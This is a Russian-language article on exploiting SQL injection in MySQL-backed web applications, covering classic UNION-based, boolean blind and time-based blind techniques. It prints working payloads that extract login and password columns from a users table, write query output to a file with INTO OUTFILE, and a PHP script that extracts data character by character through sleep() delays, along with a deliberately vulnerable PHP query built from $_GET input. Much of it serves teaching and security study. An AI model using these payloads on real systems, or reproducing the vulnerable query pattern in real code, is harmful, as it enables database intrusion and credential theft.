Журавель А.В. Мелешко Е.А.

Революционные подходы к эксплуатации SQL-инъекций

«SQL-инъекция» — способ нападения на базу данных в обход межсетевой защиты. В этом методе параметры, передаваемые к базе данных через Web-приложения, изменяются таким образом, чтобы повлиять на выполняемый в приложении SQL-запрос. Инъекция осуществляется через все доступные способы взаимодействия с приложением (GET/POST/ COOKIE/etc).

Принудительное внедрение вредоносных инструкций в SQL-запросы - методика, в которой взломщик создает или изменяет текущие SQL-запросы для работы со скрытыми данными, их изменения или даже выполнения опасных команд операционной системы на сервере базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из пользовательского ввода и статических переменных.

По техники эксплуатации SQL-инъекции условно можно разделить на три группы:

1.   Классическая SQL-инъекция

2.   Слепая SQL-инъекция (blind SQL Injection)

3.   Абсолютно слепая SQL-инъекция (Double blind SQL Injection)

Будем предполагать, что инъекция осуществляется через SELECT-запрос, а не через, например, INSERT.

Классическая SQL-инъекция

Класси ческая техника эксплуатации SQLинъекций — это, возможность объединить два SQL-запроса с целью получения дополнительных данных из некоторой таблицы. Возможность проведения классической инъекции во многом упрощает получение полезной информации из СУБД .

Проведение атаки в основном происходит с использованием оператора union. В случае, когда в тело возвращаемой страницы выводится только одна запись из таблицы, прибегают к технике построчного чтения данных:

?/id=1 limit 0 union select
login,password from users limit 0,1
?/id=1 limit 0 union select
login,password from users limit 1,1

Надо сказать, что получение данных из большой таблицы при таком подходе является достаточно долгим процессом. Поэтому когда пользователь, от имени которого выполняются запросы к MySQL, обладает привилегиями file_priv, становится возможным использовать вывод select-запроса в файл:

?/id=1 limit 0 union select login,password
from users into outfile '/tmp/users'

Возможность работать с файловой системой при эксплуатации SQL-инъекции — это один шаг до получения возможности выполнения команд на сервере. Потому SQL-инъекции и относятся к классу уязвимостей Command Execution.

Когда инъекция попадает в SQL-запрос, который осуществляется в таблице с ограниченным числом столбцов, прибегают к функциям склеивания данных, таким как concat() и concat_ws():

?/id=1 limit 0 union select
concat(login,password) from users
?/id=1 union select concat_
ws(':',login,password) from users

А для случаев, когда после внедряемого запроса присутствуют «остатки» от «хорошего» SQL-запроса, прибегают к вырезанию этого «мусора» путем использования комментариев:

?/id=1 union select login,password from
users-?/id=1 union select login,password from
users/*
?/id=1 union select login,password from
users#

Слепая SQL-инъекция

Слепая SQL Injection появляется, когда уязвимый запрос является некоторой логикой работы приложения, но не позволяет вывести какие-либо данные в возвращаемую Web-приложением страницу. Пример уязвимого кода на PHP, содержащего уязвимость Blind SQL Injection:
...
$result = mysql_query("SELECT
user FROM users where id = ".$_
GET['id']) or die('Query failed:
' . mysql_error());
if(mysql_num_rows($result)>0)
{
...

какая-то логика приложения, например, выполнение другого select-запроса

...
}
else
{
echo "error";
}
...

Слепая SQL-инъекция по своим возможностям сопоставима с классической техникой внедрения операторов SQL. Аналогично классической технике эксплуатации подобных уязвимостей, blind SQL-Injection позволяет записывать и читать файлы, получать данные из таблицы, но только чтение в данном случае осуществляется посимвольно. Стандартная техника эксплуатации подобных уязвимостей основывается на использовании логических выражений true/false. Если выражение истинно, то Web-приложение вернет одно содержимое, а если выражение является ложным, то другое. Полагаясь на различия вывода при истинных и ложных конструкциях в запросе, становится возможным осуществлять посимвольный перебор данных в таблице или в файле. Пример эксплуатации уязвимости для приведенного выше кода:

/?id=1 and 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777).

Если таблица «users» содержит колонку «pass», и первый символ первой записи из этой колонки равен 97 (символ «a»), то мускуль вернет TRUE и запрос будет истинным. В противном случае — FALSE, и для приведенного кода на странице отобразится «error».

Двойная слепота

Бывают случаи, когда помимо подавления всех уведомлений об ошибках в возвращаемой странице со стороны Web-приложения, уязвимый к инъекции SQL-запрос используется исключительно для своих внутренних целей. Например, это может быть ведение лога посещений, различного рода внутренние оптимизации и пр. Подобные SQL-инъекции относятся к третьей группе — Double blind SQL Injection. Техника эксплуатации подобной группы SQL-инъекций основана на временных задержках между посылаемым запросом к Web-приложению и его ответом. Для ее эксплуатации используют функции sleep(). Пример самой простой реализации посимвольного перебора с использованием временной задержки представлен ниже.

function brute(
$column, $table, $lim)
{
$ret_str = "";
$b_str = "1234567890_
abcdefghijklmnopqrstuvwxyz";
$b_arr = str_split($b_str);
for ($i=1;$i<100;$i++)
{
print "[+] Brute $i
symbol...\n";
for ($j=0; $j<count($b_arr);
$j++)
{
$brute = ord($b_arr[$j]);
$q = "/**/and/**/if((ord(
lower(mid((select/**/$column/**/
from/**/$table/**/limit/**/$lim,1)
,$i,1))))=$brute,sleep(6),0)--";
if (http_connect($q))
{
$ret_str = $ret_str.$b_
arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr))
break;
}
return $ret_str;
}

Как можно увидеть, в массиве $b_srt для подбора данных используется алфавитный порядок. Сценарий последовательно пробует каждый символ из массива на совпадение с символом в базе. Попытаться ускорить процесс подбора можно, расположив символы в более благоприятном порядке или использовав бинарное дерево. Для последнего действия требуется воспользоваться символами «>» и «<», что не всегда возможно, так как очень часто эти символы переводятся в HTML-эквиваленты.

Классические работы по частотному анализу букв английского алфавита, доступные в Сети, подсказывают последовательность, начинающуюся с e, t, a, o, n, i, s, h, r, d, l, u, c (http://en.wikipedia.org/wiki/Frequency_analysis).

Расположив буквы в таком порядке, можно уже говорить об уменьшении количества посылаемых запросов к Web-приложению.